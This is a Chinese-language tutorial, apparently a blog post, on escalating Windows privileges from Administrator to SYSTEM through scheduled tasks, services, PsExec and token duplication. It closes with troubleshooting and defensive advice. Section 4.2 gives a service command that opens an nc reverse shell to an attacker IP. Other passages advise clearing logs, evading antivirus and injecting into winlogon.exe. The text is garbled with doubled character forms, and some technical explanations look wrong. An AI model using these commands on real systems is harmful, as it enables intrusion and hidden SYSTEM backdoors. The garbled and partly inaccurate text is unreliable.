限提升的核心原理與四種實(shí)戰(zhàn)方法)
1. 項(xiàng)目概述權(quán)限提升的本質(zhì)與場(chǎng)景在Windows系統(tǒng)管理和安全滲透測(cè)試領(lǐng)域從Administrator權(quán)限提升到SYSTEM權(quán)限是一個(gè)經(jīng)典且核心的操作。很多剛接觸這塊的朋友可能會(huì)疑惑Administrator不就是電腦里最大的“官”了嗎為什么還需要SYSTEM簡(jiǎn)單來說Administrator是用戶賬戶權(quán)限的頂峰而SYSTEM是操作系統(tǒng)內(nèi)核本身的權(quán)限是Windows中權(quán)限最高的安全主體。它不對(duì)應(yīng)任何一個(gè)可登錄的用戶而是代表操作系統(tǒng)本身在運(yùn)行。為什么需要這么做場(chǎng)景非常實(shí)際。比如你在管理一臺(tái)服務(wù)器有些系統(tǒng)級(jí)服務(wù)如修改某些受保護(hù)的注冊(cè)表鍵值、操作其他用戶的進(jìn)程內(nèi)存、修復(fù)深度系統(tǒng)故障明確要求SYSTEM權(quán)限。又或者在安全評(píng)估中獲取SYSTEM權(quán)限往往意味著完全控制了目標(biāo)主機(jī)可以執(zhí)行最隱蔽的持久化操作或訪問所有數(shù)據(jù)。從熱詞中頻繁出現(xiàn)的“你需要來自SYSTEM的權(quán)限才能對(duì)此文件夾進(jìn)行更改”、“operation not permitted while system integrity protection”等錯(cuò)誤提示也能看出理解和掌握權(quán)限提升方法是解決許多高級(jí)別系統(tǒng)問題的鑰匙。本文將從一個(gè)實(shí)踐者的角度深入剖析幾種從Administrator到SYSTEM的可靠方式。我不會(huì)只給你命令更重要的是解釋每種方法背后的原理、適用場(chǎng)景以及你可能遇到的坑。無論你是系統(tǒng)管理員、運(yùn)維工程師還是安全研究人員這些內(nèi)容都將是你工具箱里的硬核資產(chǎn)。2. 核心原理理解權(quán)限層級(jí)與令牌在動(dòng)手之前我們必須先搞清楚背后的機(jī)制。否則你只是在死記硬背命令遇到變種環(huán)境就會(huì)束手無策。2.1 Administrator vs. SYSTEM誰才是真正的“神”Administrator是管理員組Administrators的成員擁有幾乎所有的用戶態(tài)操作權(quán)限可以安裝軟件、修改系統(tǒng)設(shè)置、管理其他用戶。然而操作系統(tǒng)內(nèi)核為了保護(hù)自己最核心的部件劃定了一些“禁區(qū)”即使Administrator也無法直接觸碰。這些禁區(qū)通常由TrustedInstaller或SYSTEM賬戶本身持有權(quán)限。SYSTEM賬戶也稱為NT AUTHORITY\SYSTEM的權(quán)限則貫穿整個(gè)系統(tǒng)包括內(nèi)核態(tài)。它可以加載驅(qū)動(dòng)程序、直接讀寫物理內(nèi)存、修改所有進(jìn)程的令牌、訪問任何注冊(cè)表路徑。你可以把它理解為“操作系統(tǒng)本身在干活時(shí)使用的身份”。許多核心系統(tǒng)服務(wù)如Windows Update、Task Scheduler的主服務(wù)都是以SYSTEM權(quán)限運(yùn)行的。2.2 安全令牌權(quán)限的“身份證”Windows使用安全令牌Security Token來標(biāo)識(shí)一個(gè)進(jìn)程或線程的安全上下文。當(dāng)你以Administrator登錄時(shí)系統(tǒng)會(huì)為你創(chuàng)建一個(gè)包含你所屬組如Administrators、Users和特權(quán)Privileges的令牌。進(jìn)程繼承這個(gè)令牌從而決定了它能做什么。權(quán)限提升的本質(zhì)就是讓我們的進(jìn)程獲取一個(gè)屬于SYSTEM賬戶的安全令牌。這個(gè)令牌擁有最高的特權(quán)集合例如SeDebugPrivilege調(diào)試程序可用于操作其他進(jìn)程、SeTcbPrivilege充當(dāng)操作系統(tǒng)的一部分等。一旦我們的進(jìn)程持有了SYSTEM令牌我們就擁有了與之等同的權(quán)限。2.3 常見提權(quán)路徑的邏輯所有提權(quán)方法都圍繞一個(gè)核心找到一個(gè)以SYSTEM權(quán)限運(yùn)行的進(jìn)程或服務(wù)然后通過某種方式“借用”或“劫持”它的安全上下文。主要路徑有服務(wù)濫用創(chuàng)建或配置一個(gè)以SYSTEM運(yùn)行的服務(wù)并讓該服務(wù)執(zhí)行我們的代碼。計(jì)劃任務(wù)濫用安排一個(gè)以SYSTEM運(yùn)行的計(jì)劃任務(wù)。進(jìn)程注入/令牌竊取從一個(gè)已有的SYSTEM進(jìn)程中復(fù)制其令牌并應(yīng)用于我們的進(jìn)程。利用漏洞利用系統(tǒng)內(nèi)核或高權(quán)限服務(wù)中的漏洞直接獲取權(quán)限本文側(cè)重于前三種穩(wěn)定、合法的方法。注意在生產(chǎn)環(huán)境或非自己完全擁有的系統(tǒng)上執(zhí)行這些操作需格外謹(jǐn)慎并確保擁有合法授權(quán)。不當(dāng)操作可能導(dǎo)致系統(tǒng)不穩(wěn)定或觸發(fā)安全警報(bào)。3. 方法一利用計(jì)劃任務(wù)schtasks獲取SYSTEM Shell這是最直觀、最接近系統(tǒng)管理員日常操作的方法。計(jì)劃任務(wù)服務(wù)Task Scheduler本身就以SYSTEM權(quán)限運(yùn)行我們可以創(chuàng)建一個(gè)立即執(zhí)行的任務(wù)讓系統(tǒng)為我們啟動(dòng)一個(gè)SYSTEM權(quán)限的進(jìn)程。3.1 基礎(chǔ)命令與實(shí)操打開一個(gè)擁有Administrator權(quán)限的命令提示符CMD或PowerShell。最經(jīng)典的命令是創(chuàng)建一個(gè)運(yùn)行CMD的任務(wù)schtasks /create /tn SystemShell /sc once /st 00:00 /tr cmd.exe /ru SYSTEM /f schtasks /run /tn SystemShell參數(shù)拆解與原理/create創(chuàng)建新任務(wù)。/tn “SystemShell”任務(wù)名稱可以自定義。/sc once調(diào)度類型為“一次”。我們目的不是定時(shí)而是立即運(yùn)行。/st 00:00開始時(shí)間設(shè)為午夜。配合/sc once任務(wù)會(huì)被創(chuàng)建并處于待觸發(fā)狀態(tài)。/tr “cmd.exe”要運(yùn)行的程序任務(wù)操作。這里就是啟動(dòng)命令提示符。/ru “SYSTEM”以SYSTEM賬戶運(yùn)行關(guān)鍵參數(shù)。/f強(qiáng)制創(chuàng)建不提示確認(rèn)。創(chuàng)建后使用/run參數(shù)立即執(zhí)行該任務(wù)。此時(shí)系統(tǒng)會(huì)以SYSTEM身份啟動(dòng)一個(gè)新的cmd.exe進(jìn)程。但是這個(gè)新窗口默認(rèn)不會(huì)顯示在當(dāng)前用戶的桌面上。3.2 交互式SYSTEM桌面的獲取上述方法啟動(dòng)的CMD在后臺(tái)我們需要與之交互。這里有一個(gè)經(jīng)典技巧利用/i參數(shù)交互式和計(jì)劃任務(wù)的“即時(shí)”特性schtasks /create /tn “SysInteractive” /sc once /st 00:00 /tr “cmd.exe /c start cmd.exe” /ru “SYSTEM” /f /it schtasks /run /tn “SysInteractive”關(guān)鍵改進(jìn)“cmd.exe /c start cmd.exe”第一個(gè)cmd.exe是任務(wù)啟動(dòng)的進(jìn)程它執(zhí)行/c后面的命令start cmd.exe這會(huì)啟動(dòng)一個(gè)新的、獨(dú)立的命令行窗口。/it這個(gè)參數(shù)組合至關(guān)重要。/i表示任務(wù)可以交互運(yùn)行需要用戶登錄/t表示只在用戶登錄時(shí)才運(yùn)行。加上/it這個(gè)新啟動(dòng)的CMD窗口就會(huì)奇跡般地出現(xiàn)在當(dāng)前用戶的桌面上并且頂欄顯示為“SYSTEM”權(quán)限。實(shí)操心得這個(gè)方法成功率極高但在某些嚴(yán)格管控的環(huán)境如某些服務(wù)器核心版或啟用了特定組策略禁止交互式服務(wù)登錄時(shí)窗口可能無法彈出。此時(shí)可以嘗試將任務(wù)的目標(biāo)程序改為一個(gè)腳本或可執(zhí)行文件將輸出重定向到文件或者使用下一節(jié)的方法。3.3 清理與隱蔽性考量完成任務(wù)后務(wù)必清理痕跡這是一個(gè)好習(xí)慣schtasks /delete /tn “SystemShell” /f schtasks /delete /tn “SysInteractive” /f在安全評(píng)估中schtasks的創(chuàng)建和運(yùn)行記錄會(huì)留在系統(tǒng)的計(jì)劃任務(wù)日志中事件查看器 - 應(yīng)用程序和服務(wù)日志 - Microsoft - Windows - TaskScheduler。對(duì)于需要隱蔽的行動(dòng)這不是最佳選擇。4. 方法二利用服務(wù)控制管理器sc創(chuàng)建SYSTEM服務(wù)服務(wù)控制管理器Service Control Manager, SCM是管理Windows服務(wù)的核心組件。我們可以通過sc命令直接創(chuàng)建一個(gè)以SYSTEM運(yùn)行的服務(wù)并通過啟動(dòng)服務(wù)來執(zhí)行命令。4.1 創(chuàng)建并啟動(dòng)一個(gè)臨時(shí)服務(wù)假設(shè)我們想通過服務(wù)啟動(dòng)一個(gè)SYSTEM權(quán)限的CMD并將其綁定到本地的一個(gè)端口例如用于遠(yuǎn)程連接我們可以這樣做sc create SysService binPath “cmd.exe /k start cmd.exe” type own type interact start demand obj “LocalSystem” sc start SysService參數(shù)深度解析sc create SysService創(chuàng)建名為SysService的服務(wù)。binPath指定服務(wù)對(duì)應(yīng)的可執(zhí)行文件路徑。等號(hào)后面必須有一個(gè)空格這是sc命令最經(jīng)典的坑。我們這里讓它啟動(dòng)一個(gè)交互式CMD。type own服務(wù)類型為獨(dú)立服務(wù)。type interact允許服務(wù)與桌面交互這樣才能看到窗口。在Windows 10/11及Server新版中交互式服務(wù)受到嚴(yán)格限制此方法可能無法彈出窗口。start demand啟動(dòng)類型為“手動(dòng)”。obj “LocalSystem”指定運(yùn)行賬戶為L(zhǎng)ocalSystem即SYSTEM。這是提權(quán)的核心。啟動(dòng)服務(wù)后如果交互式桌面允許你會(huì)看到一個(gè)新的SYSTEM權(quán)限的CMD窗口。4.2 更實(shí)用的后臺(tái)執(zhí)行與網(wǎng)絡(luò)綁定由于交互式限制更可靠的方法是將服務(wù)指向一個(gè)能建立網(wǎng)絡(luò)連接的后門或監(jiān)聽器。例如使用ncNetcat或PowerShell反彈一個(gè)SYSTEM權(quán)限的shellsc create RevShell binPath “cmd.exe /c c:\tools\nc.exe -e cmd.exe 192.168.1.100 4444” start demand obj “LocalSystem” sc start RevShell這條命令會(huì)創(chuàng)建一個(gè)服務(wù)啟動(dòng)后立即執(zhí)行nc連接你的攻擊機(jī)192.168.1.100:4444從而給你一個(gè)反向的SYSTEMshell。執(zhí)行完畢后服務(wù)可能會(huì)停止或報(bào)錯(cuò)但這通常不影響已經(jīng)建立的連接。注意事項(xiàng)路徑空格問題binPath中的路徑如果包含空格必須用雙引號(hào)包裹整個(gè)路徑例如binPath “\”C:\Program Files\My Tool\nc.exe\” -Ldp 4444 -e cmd.exe”。轉(zhuǎn)義引號(hào)是關(guān)鍵。二進(jìn)制路徑確保binPath指向的可執(zhí)行文件在目標(biāo)系統(tǒng)上絕對(duì)存在且可訪問。否則服務(wù)啟動(dòng)會(huì)失敗錯(cuò)誤1053。服務(wù)狀態(tài)服務(wù)啟動(dòng)后即使命令執(zhí)行完畢服務(wù)本身可能仍處于“啟動(dòng)”或“停止掛起”狀態(tài)。記得清理sc delete RevShell。4.3 利用已有服務(wù)的修改高級(jí)除了創(chuàng)建新服務(wù)還可以嘗試修改一個(gè)已存在的、以SYSTEM運(yùn)行但啟動(dòng)類型為“手動(dòng)”或“禁用”的服務(wù)的binPath。但修改系統(tǒng)服務(wù)風(fēng)險(xiǎn)極高極易導(dǎo)致系統(tǒng)不穩(wěn)定或崩潰不推薦在生產(chǎn)環(huán)境嘗試。思路是sc config “SomeExistingService” binPath “新的命令”然后啟動(dòng)它。完成后必須改回去。5. 方法三進(jìn)程注入與令牌復(fù)制PsExec與手動(dòng)實(shí)現(xiàn)這是更接近“黑客”思維的方法直接從一個(gè)以SYSTEM運(yùn)行的進(jìn)程中“借用”令牌。微軟官方工具PsExec是此方法的典范。5.1 使用PsExec一鍵獲取SYSTEMPsExec是Sysinternals套件中的神器。以Administrator身份運(yùn)行以下命令PsExec64.exe -i -s cmd.exe參數(shù)解讀-i交互式。讓運(yùn)行的程序與當(dāng)前桌面交互。-s以SYSTEM賬戶運(yùn)行。這是核心參數(shù)。cmd.exe要運(yùn)行的程序。執(zhí)行后會(huì)直接彈出一個(gè)新的CMD窗口其權(quán)限就是SYSTEM。PsExec的原理是創(chuàng)建一個(gè)遠(yuǎn)程服務(wù)在本地機(jī)器上來執(zhí)行命令并通過管道與前端交互巧妙地完成了令牌的復(fù)制和進(jìn)程創(chuàng)建。實(shí)操心得首次在某一臺(tái)機(jī)器上運(yùn)行PsExec時(shí)它會(huì)將Psexesvc.exe復(fù)制到目標(biāo)的ADMIN$共享并注冊(cè)為服務(wù)。這可能會(huì)被防病毒軟件標(biāo)記。使用-accepteula參數(shù)可以跳過許可協(xié)議。這是最干凈、最快捷的方法之一但同樣會(huì)在安全日志4688、7045等事件和進(jìn)程列表中留下明顯痕跡PsExec、Psexesvc。5.2 手動(dòng)令牌復(fù)制原理與概念理解PsExec背后的手動(dòng)方法能讓你更深入地理解Windows安全模型。核心步驟涉及Windows API打開進(jìn)程使用OpenProcess函數(shù)以足夠的權(quán)限如PROCESS_QUERY_INFORMATION打開一個(gè)SYSTEM權(quán)限的進(jìn)程句柄。常見的靶進(jìn)程有winlogon.exe、services.exe、lsass.exe操作此進(jìn)程風(fēng)險(xiǎn)極高或任何以SYSTEM運(yùn)行的服務(wù)進(jìn)程。打開進(jìn)程令牌使用OpenProcessToken函數(shù)從該進(jìn)程句柄獲取其訪問令牌的句柄。復(fù)制令牌使用DuplicateTokenEx函數(shù)復(fù)制該令牌并指定一個(gè)SecurityImpersonation或SecurityDelegation的模擬級(jí)別以及一個(gè)TokenPrimary類型創(chuàng)建一個(gè)新的主令牌。創(chuàng)建進(jìn)程使用CreateProcessWithTokenW函數(shù)利用這個(gè)復(fù)制的SYSTEM主令牌創(chuàng)建一個(gè)新的進(jìn)程如cmd.exe。這個(gè)過程通常需要編寫一段C/C或PowerShell腳本。在滲透測(cè)試框架如Metasploit或Cobalt Strike中g(shù)etsystem命令自動(dòng)化完成了這一系列操作。警告手動(dòng)操作lsass.exe等核心進(jìn)程極易導(dǎo)致系統(tǒng)藍(lán)屏BSOD。僅在測(cè)試環(huán)境或完全了解后果的情況下進(jìn)行。6. 方法四其他實(shí)用技巧與場(chǎng)景化方案除了上述主流方法還有一些特定場(chǎng)景下非常有效的技巧。6.1 利用調(diào)試權(quán)限與進(jìn)程附加Administrator默認(rèn)擁有SeDebugPrivilege調(diào)試程序特權(quán)但默認(rèn)是禁用的。我們可以啟用它然后附加到SYSTEM進(jìn)程。啟用SeDebugPrivilege在Administrator的CMD中這通常需要一些工具或腳本。或者直接使用PsExec -s啟動(dòng)的SYSTEMCMD天然擁有此特權(quán)。進(jìn)程注入使用調(diào)試API或類似CreateRemoteThread的技術(shù)將代碼注入到SYSTEM進(jìn)程如winlogon.exe的上下文中執(zhí)行。這需要較高的編程技巧但非常隱蔽。6.2 利用計(jì)劃任務(wù)執(zhí)行PowerShell腳本在現(xiàn)代化環(huán)境中PowerShell更為強(qiáng)大。我們可以讓計(jì)劃任務(wù)執(zhí)行一個(gè)PowerShell腳本來獲取SYSTEM會(huì)話# 創(chuàng)建一個(gè)PowerShell腳本內(nèi)容為啟動(dòng)一個(gè)SYSTEM權(quán)限的PowerShell $scriptContent “Start-Process PowerShell.exe -Verb RunAs -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -Command Start-Process cmd.exe -Verb RunAs’” $scriptContent | Out-File -FilePath C:\Temp\sys.ps1 -Encoding ASCII # 創(chuàng)建計(jì)劃任務(wù)執(zhí)行該腳本 schtasks /create /tn “PSSys” /tr “powershell.exe -ExecutionPolicy Bypass -File C:\Temp\sys.ps1” /sc once /st 00:00 /ru SYSTEM /f schtasks /run /tn “PSSys”這種方法結(jié)合了PowerShell的靈活性和計(jì)劃任務(wù)的權(quán)限。6.3 繞過系統(tǒng)完整性保護(hù)SIP的思考從熱詞“operation not permitted while system integrity protection is engaged”可以看出在macOS或啟用了類似保護(hù)的Windows配置如Credential Guard, Device Guard下直接操作受保護(hù)進(jìn)程或文件會(huì)失敗。在這些高強(qiáng)度安全環(huán)境下上述部分方法特別是令牌復(fù)制和進(jìn)程注入可能會(huì)受阻。此時(shí)需要尋找未受保護(hù)但以SYSTEM運(yùn)行的進(jìn)程。有漏洞的驅(qū)動(dòng)程序內(nèi)核漏洞。錯(cuò)誤配置的服務(wù)或計(jì)劃任務(wù)如可寫的服務(wù)路徑、不安全的服務(wù)權(quán)限。 這進(jìn)入了更高級(jí)的漏洞利用和提權(quán)領(lǐng)域。7. 常見問題、排查與防御視角7.1 執(zhí)行失敗常見錯(cuò)誤與解決錯(cuò)誤現(xiàn)象可能原因排查與解決思路“拒絕訪問” (Access Denied)1. 當(dāng)前Administrator令牌未以高完整性級(jí)別運(yùn)行。2. 組策略禁止創(chuàng)建計(jì)劃任務(wù)/服務(wù)。3. 防病毒/EDR軟件攔截。1. 確保CMD/PowerShell是“以管理員身份運(yùn)行”的。2. 檢查gpedit.msc中相關(guān)策略如計(jì)算機(jī)配置-Windows設(shè)置-安全設(shè)置-本地策略-用戶權(quán)限分配。3. 嘗試禁用實(shí)時(shí)防護(hù)或添加排除項(xiàng)僅限測(cè)試環(huán)境?!胺?wù)未響應(yīng)” (1053錯(cuò)誤)sc create中binPath指定的可執(zhí)行文件路徑錯(cuò)誤、不存在或無法執(zhí)行。1. 仔細(xì)檢查路徑特別是空格和引號(hào)。2. 使用絕對(duì)路徑。3. 確保文件存在于目標(biāo)系統(tǒng)且SYSTEM賬戶有讀取和執(zhí)行權(quán)限。計(jì)劃任務(wù)運(yùn)行無窗口缺少/it參數(shù)或系統(tǒng)策略禁止交互式服務(wù)檢測(cè)。1. 添加/it參數(shù)。2. 改用非交互式方法如網(wǎng)絡(luò)反彈或文件輸出。3. 檢查策略“管理模板-Windows組件-應(yīng)用程序兼容性-關(guān)閉應(yīng)用程序兼容性引擎”等非必要勿動(dòng)。PsExec被攔截文件被防病毒軟件刪除或網(wǎng)絡(luò)共享訪問被阻止。1. 對(duì)PsExec進(jìn)行免殺處理僅限授權(quán)測(cè)試。2. 使用替代品如PAExec或采用純sc/schtasks方法。令牌復(fù)制失敗目標(biāo)進(jìn)程受保護(hù)如Protected Process Light, PPL或權(quán)限不足。1. 尋找非PPL的SYSTEM進(jìn)程如某些第三方服務(wù)。2. 確保已成功啟用SeDebugPrivilege和SeImpersonatePrivilege。7.2 從防御者視角看如何防范了解攻擊手法是為了更好地防御。作為系統(tǒng)管理員可以采取以下措施最小權(quán)限原則日常操作不要使用Administrator賬戶。使用普通賬戶僅在需要時(shí)通過UAC提權(quán)。強(qiáng)化服務(wù)與計(jì)劃任務(wù)定期審計(jì)以SYSTEM或高權(quán)限賬戶運(yùn)行的服務(wù)和計(jì)劃任務(wù)確保其二進(jìn)制路徑不可被低權(quán)限用戶修改。啟用高級(jí)安全審計(jì)啟用審核進(jìn)程創(chuàng)建4688事件和審核服務(wù)創(chuàng)建4697事件等策略監(jiān)控異常的schtasks、sc或PsExec使用。部署終端檢測(cè)與響應(yīng)EDR現(xiàn)代EDR能夠檢測(cè)到令牌竊取、進(jìn)程注入等可疑行為。應(yīng)用控制策略使用Windows Defender應(yīng)用程序控制WDAC或AppLocker限制只有授權(quán)的軟件可以運(yùn)行阻止PsExec等工具的執(zhí)行。禁用不必要的功能在服務(wù)器上若非必要可禁用計(jì)劃任務(wù)服務(wù)Schedule的遠(yuǎn)程管理功能或嚴(yán)格限制能創(chuàng)建任務(wù)和服務(wù)的用戶。7.3 我的實(shí)操心得與選擇建議經(jīng)過大量實(shí)踐我個(gè)人對(duì)幾種方法的偏好如下追求簡(jiǎn)單快捷首選PsExec -s幾乎是“開箱即用”。環(huán)境兼容性好schtasks /create /it方法在絕大多數(shù)Windows桌面和服務(wù)器系統(tǒng)上都有效是可靠的備選方案。需要持久化或后臺(tái)執(zhí)行使用sc create創(chuàng)建服務(wù)指向一個(gè)穩(wěn)定的后門或監(jiān)聽器。進(jìn)行安全評(píng)估會(huì)依次嘗試schtasks、sc、PsExec并手動(dòng)檢查令牌復(fù)制漏洞。同時(shí)一定要清理痕跡schtasks /delete和sc delete是你的好朋友。最后記住權(quán)限越大責(zé)任越大。SYSTEM權(quán)限可以對(duì)系統(tǒng)做任何事包括瞬間破壞它。每一次提權(quán)操作前都請(qǐng)明確你的目的并在可控的環(huán)境中進(jìn)行測(cè)試。